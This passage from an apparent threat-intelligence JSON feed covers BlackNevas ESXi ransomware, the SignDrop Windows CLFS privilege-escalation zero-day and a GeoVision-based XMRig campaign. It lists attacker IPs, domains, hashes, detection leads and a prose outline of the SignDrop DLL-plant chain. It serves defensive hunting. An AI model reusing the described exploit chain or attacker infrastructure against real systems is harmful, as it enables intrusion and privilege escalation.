Tuning: needs both the /tmp path and the switches. Expected false positives: none known; admins do not run binaries from /tmp against /vmfs. A /selftest hit is the pre-impact window to act.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_name": "Kaspersky", "title": "ESXi encryptor run from /tmp against /vmfs", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A systemd unit named vmware-vdma, or a service running /opt/vmware/bin/agent described as \"DNS, time, VM settings sync\", on a vCenter Server Appliance", "log_source": "vCenter appliance syslog (systemd) and file checks of /etc/systemd/system", "why": "The operator installed Ligolo-ng v0.8.2 as /etc/systemd/system/vmware-vdma.service with Restart=always, calling out to api.cloudvflare.com:443, about four hours after first SSH login, through MeshAgent. vmware-vdma is not a VMware service. Tuning: exact unit name and description. Expected false positives: none known; also compare all units under /etc/systemd/system against a clean VCSA build.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_name": "Kaspersky", "title": "Fake vmware-vdma tunnel service on vCenter", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A Windows service named vspbind (the operator's MeshAgent install)", "log_source": "Defender XDR DeviceRegistryEvents; Windows 7045 or Sysmon 13 in Splunk or Google SecOps", "why": "Kaspersky lists vspbind as the Windows service for the remote-management agent in this intrusion. Tuning: exact service key name. Expected false positives: none known; check any hit for MeshAgent files and traffic to 45.149.154.135.", "action": "alert", "has_query": true, "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_name": "Kaspersky", "title": "vspbind remote-management service", "queries": [ "KQL", "SPL" ] }, { "artefact": "A Host Profile change that sets TSM-SSH (or TSM) to running on an ESXi host outside a change window, followed within 15 minutes by an SSH login to that host from the vCenter or another management appliance", "log_source": "vCenter Events and Tasks, ESXi vpxa.log, vobd.log, hostprofiletrace.log and auth.log", "why": "In this case the profile push came 10 minutes after the profile was read, SSH reached RUNNING 33 seconds later, and the next SSH session came from the vCenter IP. Each step is normal on its own; Kaspersky rates the sequence Critical. Tuning: join on the ESXi host, 15-minute window, exclude approved change windows. Expected false positives: planned maintenance that enables SSH through Host Profiles; check the change record.", "action": "hunt", "has_query": false, "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_name": "Kaspersky", "title": "Host Profile turns on SSH, then SSH from vCenter", "queries": [] } ], "ioa_count": 4, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/block_now.txt", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/defender_xdr_indicators.csv", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.kql", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.spl", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt_raw.spl", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.yaral", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/iocs.csv", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse", "share_url": "https://iocwatch.com/t/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/", "indicators": [ { "value": "45.149.154.135", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Remote-management (MeshAgent) C2 server the BlackNevas operator used to return to the compromised vCenter appliance and install the Ligolo-ng tunnel.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "91.92.242.121", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "VPS the BlackNevas operator used for initial access to the victim's portal with stolen credentials.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "31.41.33.212", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "VPS the BlackNevas operator used for initial access to the victim's portal with stolen credentials.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "188.240.57.94", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "VPS the BlackNevas operator used for initial access to the victim's portal with stolen credentials.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "api.cloudvflare.com", "type": "domain", "confidence": "high", "recommended_action": "block", "description": "Ligolo-ng tunnel C2 (port 443) hard-coded in the fake vmware-vdma service on the compromised vCenter appliance; one-letter typosquat of cloudflare.com.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "28f8da19ddcdf26e426875c7a834b34a79bc1c33", "type": "sha1", "confidence": "high", "recommended_action": "block", "description": "SHA1 of the Windows payload recovered as svhost.exe / lock.exe in the BlackNevas intrusion.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "15dc419b7fbeb50c50820a7cd27997541deafa4fa710f074bb657f0149574baf", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the remote-management agent (MeshAgent build tied to the operator's server) used for persistence in the BlackNevas intrusion.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] }, { "value": "5a9b7a0d3f25757aea957713d7e84cabec87597b3474368328a8fd5ed7a12f78", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of the installed variant of the operator's remote-management agent from the BlackNevas intrusion.", "source_url": "https://securelist.com/esxi-ransomware/121959/", "source_label": "Kaspersky GERT (Securelist) – Ransomware at the hypervisor layer: how attackers use ESXi and vCenter features for malicious purposes", "source_name": "Kaspersky", "sources": [ { "url": "https://securelist.com/esxi-ransomware/121959/", "name": "Kaspersky" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.kql", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.spl", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt_raw.spl", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse/hunt.yaral", "download": "BlackNevas-Ransomware-ESXi-vCenter-Host-Profile-Abuse_hunt.yaral" } ] }, { "id": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation", "folder": "threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation", "name": "SignDrop: Public Windows CLFS Zero-Day for SYSTEM Privilege Escalation (Hunt Only)", "short": "SignDrop CLFS zero-day", "category": "Exploitation / Windows privilege escalation", "published": "2026-11-12", "entry_date": "2026-11-13 19:25", "last_updated": "2026-11-13", "seq": 50, "headline": "Public unpatched Windows exploit turns CLFS authentication into SYSTEM via a hid.dll planted in the ink folder", "summary": "On 10 November 2026 the researcher behind the Nightmare-Eclipse releases (GitHub MSNightmare) published SignDrop, a working exploit that takes a standard user to SYSTEM on Windows with CLFS authentication active (Mode 0 or 1). It makes Microsoft Defender's signature-update RPC open a crafted CLFS log, so clfs.sys writes the .cnpf signature file as SYSTEM to a path chosen through Object Manager links, overwritten as C:\\Program Files\\Common Files\\microsoft shared\\ink\\hid.dll and loaded by consent.exe. Cyderes reproduced a SYSTEM shell. There is no CVE or patch, and no in-the-wild use has been reported.", "caveat": "No attacker infrastructure or hashes exist; the path row is a host artefact for hunting, not something to block. Do not disable CLFS authentication as a workaround: it reopens the older memory-corruption bugs.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [], "note": "No victims or in-the-wild use reported. Windows hosts with CLFS authentication in Mode 0 or 1 are in scope; the researcher estimates about 80% of Windows installs.", "source": { "url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "label": "Cyderes Howler Cell – SignDrop: Windows zero-day that turns Microsoft's own CLFS mitigation into a privilege escalation path", "name": "Cyderes Howler Cell" } }, "mitre": [ { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1574.001", "name": "DLL Search Order Hijacking", "url": "https://attack.mitre.org/techniques/T1574/001/" }, { "id": "T1070.004", "name": "File Deletion", "url": "https://attack.mitre.org/techniques/T1070/004/" }, { "id": "T1106", "name": "Native API", "url": "https://attack.mitre.org/techniques/T1106/" } ], "recommended_actions": [ "Record HKLM\\SYSTEM\\CurrentControlSet\\Services\\CLFS\\Authentication Mode on every host; Mode 0 or 1 is in scope.", "Alert on hid.dll created in or loaded from the ink folder and on consent.exe starting a console or shell.", "Tighten application and script control, since the exploit needs code running as a local user first.", "Apply Microsoft's fix when released; do not turn off CLFS authentication." ], "sources": [ { "url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "label": "Cyderes Howler Cell – SignDrop: Windows zero-day that turns Microsoft's own CLFS mitigation into a privilege escalation path", "name": "Cyderes Howler Cell" }, { "url": "https://github.com/msnightmare/signdrop", "label": "MSNightmare – SignDrop Windows CLFS authentication zero-day proof of concept", "name": "github.com" }, { "url": "https://www.securityweek.com/nightmare-eclipse-drops-windows-zero-day-exploit-signdrop/", "label": "SecurityWeek – Nightmare Eclipse drops Windows zero-day exploit SignDrop", "name": "SecurityWeek" }, { "url": "https://www.bleepingcomputer.com/news/security/new-windows-signdrop-zero-day-gives-hackers-system-privileges/", "label": "BleepingComputer – New Windows SignDrop zero-day gives hackers SYSTEM privileges", "name": "BleepingComputer" } ], "indicator_count": 1, "block_now_count": 0, "hunt_count": 1, "hunt_counts": { "alert": 1 }, "indicator_counts": { "other": 1 }, "ioas": [ { "artefact": "hid.dll written to, or loaded from, C:\\Program Files\\Common Files\\microsoft shared\\ink\\ (the DLL SignDrop plants through the SYSTEM .cnpf write)", "log_source": "Defender XDR DeviceFileEvents and DeviceImageLoadEvents; Sysmon events 11 and 7 in Splunk or Google SecOps", "why": "SignDrop redirects the CLFS .cnpf signature file, created as SYSTEM, to the ink folder as hid.dll, overwrites it with its payload and has consent.exe load it, then deletes it with a transacted delete. Windows does not ship hid.dll in the ink folder (the real one is in System32), so Cyderes rates any appearance there as alert-worthy whatever the variant. Tuning: matched on the exact file name and folder only. Expected false positives: none known; keep file and image-load telemetry for the ink folder because the file is removed after use.", "action": "alert", "has_query": true, "source_url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "source_name": "Cyderes Howler Cell", "title": "hid.dll written to or loaded from the ink folder", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "consent.exe (the UAC consent UI) starting conhost.exe, cmd.exe, PowerShell or rundll32.exe", "log_source": "Defender XDR DeviceProcessEvents; Sysmon event 1 or Windows 4688 in Splunk or Google SecOps", "why": "Cyderes found consent.exe, started as SYSTEM by the exploit's runas request, loads the planted hid.dll, whose payload opens a SYSTEM console on the user's desktop and kills the UAC prompt. consent.exe only draws the elevation prompt and does not start shells or consoles, so a child like this means code is running inside it. Tuning: parent and child names only, no command-line matching. Expected false positives: none known; confirm with the hid.dll hunt on the same device.", "action": "alert", "has_query": true, "source_url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "source_name": "Cyderes Howler Cell", "title": "consent.exe starting a console or shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Files created under a %TEMP%\\SigDrop_ working folder (the unmodified public proof of concept)", "log_source": "Defender XDR DeviceFileEvents; Sysmon event 11 in Splunk or Google SecOps", "why": "The public exploit stages its CLFS container, .cnpf file and bait MpEngine.dll in %TEMP%\\SigDrop_ and deletes the folder when it finishes. This only catches the unchanged release; a recompiled copy can rename the folder, so rely on the hid.dll and consent.exe hunts for variants. Expected false positives: your own authorised testing of the proof of concept.", "action": "alert", "has_query": true, "source_url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "source_name": "Cyderes Howler Cell", "title": "Unmodified SignDrop proof-of-concept working folder", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/block_now.txt", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_block_now.txt" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.kql", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.spl", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt_raw.spl", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.yaral", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/iocs.csv", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation", "share_url": "https://iocwatch.com/t/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/", "indicators": [ { "value": "C:\\Program Files\\Common Files\\microsoft shared\\ink\\hid.dll", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Path where the SignDrop exploit plants its payload DLL through a SYSTEM-created CLFS .cnpf file before consent.exe loads it; Windows does not ship hid.dll in this folder.", "source_url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "source_label": "Cyderes Howler Cell – SignDrop: Windows zero-day that turns Microsoft's own CLFS mitigation into a privilege escalation path", "source_name": "Cyderes Howler Cell", "sources": [ { "url": "https://www.cyderes.com/howler-cell/signdrop-zero-day", "name": "Cyderes Howler Cell" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.kql", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.spl", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt_raw.spl", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation/hunt.yaral", "download": "SignDrop-Windows-CLFS-Zero-Day-SYSTEM-Privilege-Escalation_hunt.yaral" } ] }, { "id": "GeoVision-Camera-Software-XMRig-Cryptominer", "folder": "threats/2026-11_November-2026/2026-11-13/GeoVision-Camera-Software-XMRig-Cryptominer", "name": "GeoVision Camera Software Abused to Deploy XMRig Cryptominer", "short": "GeoVision XMRig", "category": "Exploitation / cryptomining", "published": "2026-11-13", "entry_date": "2026-11-13 15:02", "last_updated": "2026-11-13", "seq": 49, "headline": "Exposed GeoVision camera software is being used to run PowerShell, a vulnerable driver and a Golang loader that drops XMRig", "summary": "Huntress, writing on 13 November 2026, says its SOC saw widespread malicious activity from internet-exposed GeoVision camera software between 8 and 10 November, across ten accounts and 13 organisations in various industries. Every case started with GeoStartupAgentService.exe, often running as SYSTEM, spawning a command shell that downloaded PowerShell scripts a, b and c from 45.32.117.34 (Vultr, Singapore). Those scripts checked for Defender, dropped a vulnerable signed driver (wsftprm.sys, written as kvckiller.sys) used to tamper with antivirus, and set IFEO Debugger values that redirect MsMpEng.exe, SecurityHealthService.exe and SecurityHealthSystray.exe to systray.exe. A further script fetched update.exe, a Golang loader that talks to 156.246.94.183 (AkileCloud, Tokyo; cctv-update.top, registered 7 November) using BitTorrent Mainline DHT and PKARR, creates scheduled tasks PackageUpdater (every 15 minutes) and PackageUpdater_Startup, and drops XMRig as ApplyUpdate.exe. The staging IP, loader IP, domain, PowerShell URLs and the published update.exe and PowerShell script hashes are on the block list, as hosts only. 2.59.133.151, which Huntress called the likely exploit source, is alert only because it sits on shared or reused dataforest hosting. The wsftprm.sys hash is alert only: it is a known signed Topaz Antifraud driver (CVE-2023-52271) still used by some banking software.", "caveat": "Do not block 2.59.133.151 (dataforest shared or reused hosting) or thisismy.cloud. Do not block the SHA256 of wsftprm.sys estate-wide without checking for legitimate Topaz Antifraud (Warsaw) software. Do not block BitTorrent DHT bootstrap nodes, PKARR relays, public DNS resolvers or shared mining pools. Block 45.32.117.34, 156.246.94.183 and cctv-update.top as listed hosts only, not the surrounding ranges or parent domains.", "targets": { "countries": [], "regions": [], "sectors": [ "Organizations with internet-exposed GeoVision camera software or management interfaces" ], "note": "Huntress saw the activity on ten accounts and 13 organisations across various industries between 8 and 10 November 2026. No countries were named. All cases started from publicly exposed GeoVision devices or management interfaces.", "source": { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "name": "Huntress" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.003", "name": "Command and Scripting Interpreter: Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1059.001", "name": "Command and Scripting Interpreter: PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1053.005", "name": "Scheduled Task/Job: Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1546.012", "name": "Event Triggered Execution: Image File Execution Options Injection", "url": "https://attack.mitre.org/techniques/T1546/012/" }, { "id": "T1112", "name": "Modify Registry", "url": "https://attack.mitre.org/techniques/T1112/" }, { "id": "T1562.001", "name": "Impair Defenses: Disable or Modify Tools", "url": "https://attack.mitre.org/techniques/T1562/001/" }, { "id": "T1068", "name": "Exploitation for Privilege Escalation", "url": "https://attack.mitre.org/techniques/T1068/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1568", "name": "Dynamic Resolution", "url": "https://attack.mitre.org/techniques/T1568/" }, { "id": "T1496.001", "name": "Resource Hijacking: Compute Hijacking", "url": "https://attack.mitre.org/techniques/T1496/001/" }, { "id": "T1608.001", "name": "Stage Capabilities: Upload Malware", "url": "https://attack.mitre.org/techniques/T1608/001/" } ], "recommended_actions": [ "Block 45.32.117.34, 156.246.94.183, cctv-update.top, the PowerShell staging URLs and the published update.exe and PowerShell script hashes, and search 90 days of proxy, DNS, firewall and EDR logs for them. Block those hosts only, not the surrounding ranges.", "Take internet-facing GeoVision camera software and management interfaces off the public internet; put them behind a VPN or restrict them to trusted addresses.", "Hunt GeoStartupAgentService.exe spawning cmd or PowerShell, IFEO Debugger values on MsMpEng.exe, SecurityHealthService.exe, SecurityHealthSystray.exe or MpCmdRun.exe, the scheduled tasks PackageUpdater and PackageUpdater_Startup, wsftprm.sys or kvckiller.sys loading from an unexpected path, and ApplyUpdate.exe with XMRig arguments.", "On a confirmed host, isolate it, preserve evidence, remove the tasks and dropped files, clear the IFEO Debugger values, and investigate whether Defender was tampered with before returning the host to service.", "Do not block 2.59.133.151, thisismy.cloud, public DNS resolvers, BitTorrent DHT bootstrap nodes, PKARR relays or shared mining pools, and do not block the wsftprm.sys hash estate-wide without checking for legitimate Topaz Antifraud software." ], "sources": [ { "url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "label": "Huntress – GeoVision Camera Software Exploited to Drop XMRig", "name": "Huntress" }, { "url": "https://urlhaus.abuse.ch/host/2.59.133.151/", "label": "URLhaus – 2.59.133.151 (prior unrelated malware-download listing)", "name": "URLhaus" }, { "url": "https://www.loldrivers.io/drivers/30e8d598-2c60-49e4-953b-a6f620da1371/", "label": "LOLDrivers – wsftprm.sys (Topaz Antifraud, CVE-2023-52271)", "name": "loldrivers.io" } ], "indicator_count": 12, "block_now_count": 8, "hunt_count": 4, "hunt_counts": { "alert": 4 }, "indicator_counts": { "ipv4": 3, "sha256": 3, "url": 3, "filename": 2, "domain": 1 }, "ioas": [ { "artefact": "GeoStartupAgentService.exe spawning cmd.exe, PowerShell or pwsh.exe", "log_source": "Defender XDR DeviceProcessEvents; EDR process events", "why": "Every intrusion Huntress saw started here: the exposed GeoVision service, often running as SYSTEM, spawned a command shell that launched PowerShell to download script a from 45.32.117.34. GeoStartupAgentService.exe has no ordinary reason to start cmd or PowerShell. Expected false positives are rare; a GeoVision support or update procedure that shells out would be the main one, and should still be reviewed.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_name": "Huntress", "title": "GeoStartupAgentService.exe spawning a shell or PowerShell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "A driver load or file named wsftprm.sys or kvckiller.sys", "log_source": "Defender XDR DeviceEvents (DriverLoad) and DeviceFileEvents; EDR driver and file events", "why": "Script b dropped kvckiller.sys, which VirusTotal identifies as the signed Topaz Antifraud driver wsftprm.sys, and used it as a BYOVD tool against Defender. The published hash is a known legitimate, if vulnerable, driver (CVE-2023-52271) still used by some banking antifraud deployments, so a load from a normal Topaz or Warsaw install path can be a false positive. Treat a load or write from a temp, user or unexpected path, or the filename kvckiller.sys, as a high-priority lead.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_name": "Huntress", "title": "wsftprm.sys or kvckiller.sys driver load or file", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "IFEO Debugger values set on MsMpEng.exe, SecurityHealthService.exe, SecurityHealthSystray.exe or MpCmdRun.exe", "log_source": "Defender XDR DeviceRegistryEvents; Windows Registry auditing", "why": "The operators wrote Image File Execution Options Debugger values that redirected MsMpEng.exe, SecurityHealthService.exe and SecurityHealthSystray.exe to systray.exe, which can stop those Defender and Windows Security components starting. MpCmdRun.exe is included as the related Defender command-line process. A Debugger value under those keys, or an IFEO Debugger set to systray.exe, is not a normal administrative setting. Expected false positives are very rare; a legitimate debugger attached to those binaries should already be known to the estate.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_name": "Huntress", "title": "IFEO Debugger set on Microsoft Defender or Windows Security processes", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Scheduled task PackageUpdater or PackageUpdater_Startup running update.exe, or update.exe launched from the systemprofile folder", "log_source": "Defender XDR DeviceEvents (ScheduledTaskCreated) and DeviceProcessEvents; Windows Security 4698; Task Scheduler operational log", "why": "On some hosts the loader created PackageUpdater, which runs C:\\WINDOWS\\system32\\config\\systemprofile\\update.exe every 15 minutes, and PackageUpdater_Startup, which runs at system start as SYSTEM. The task names plus that systemprofile path are distinctive. update.exe in other folders is a common legitimate name and is not enough on its own.", "action": "alert", "has_query": true, "source_url": "https://www.huntress.com/blog/geovision-camera-software-xmrig-cryptominer", "source_name": "Huntress", "title": "PackageUpdater task or update.exe from the systemprofile folder", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "ApplyUpdate.exe launched with XMRig arguments", "log_source": 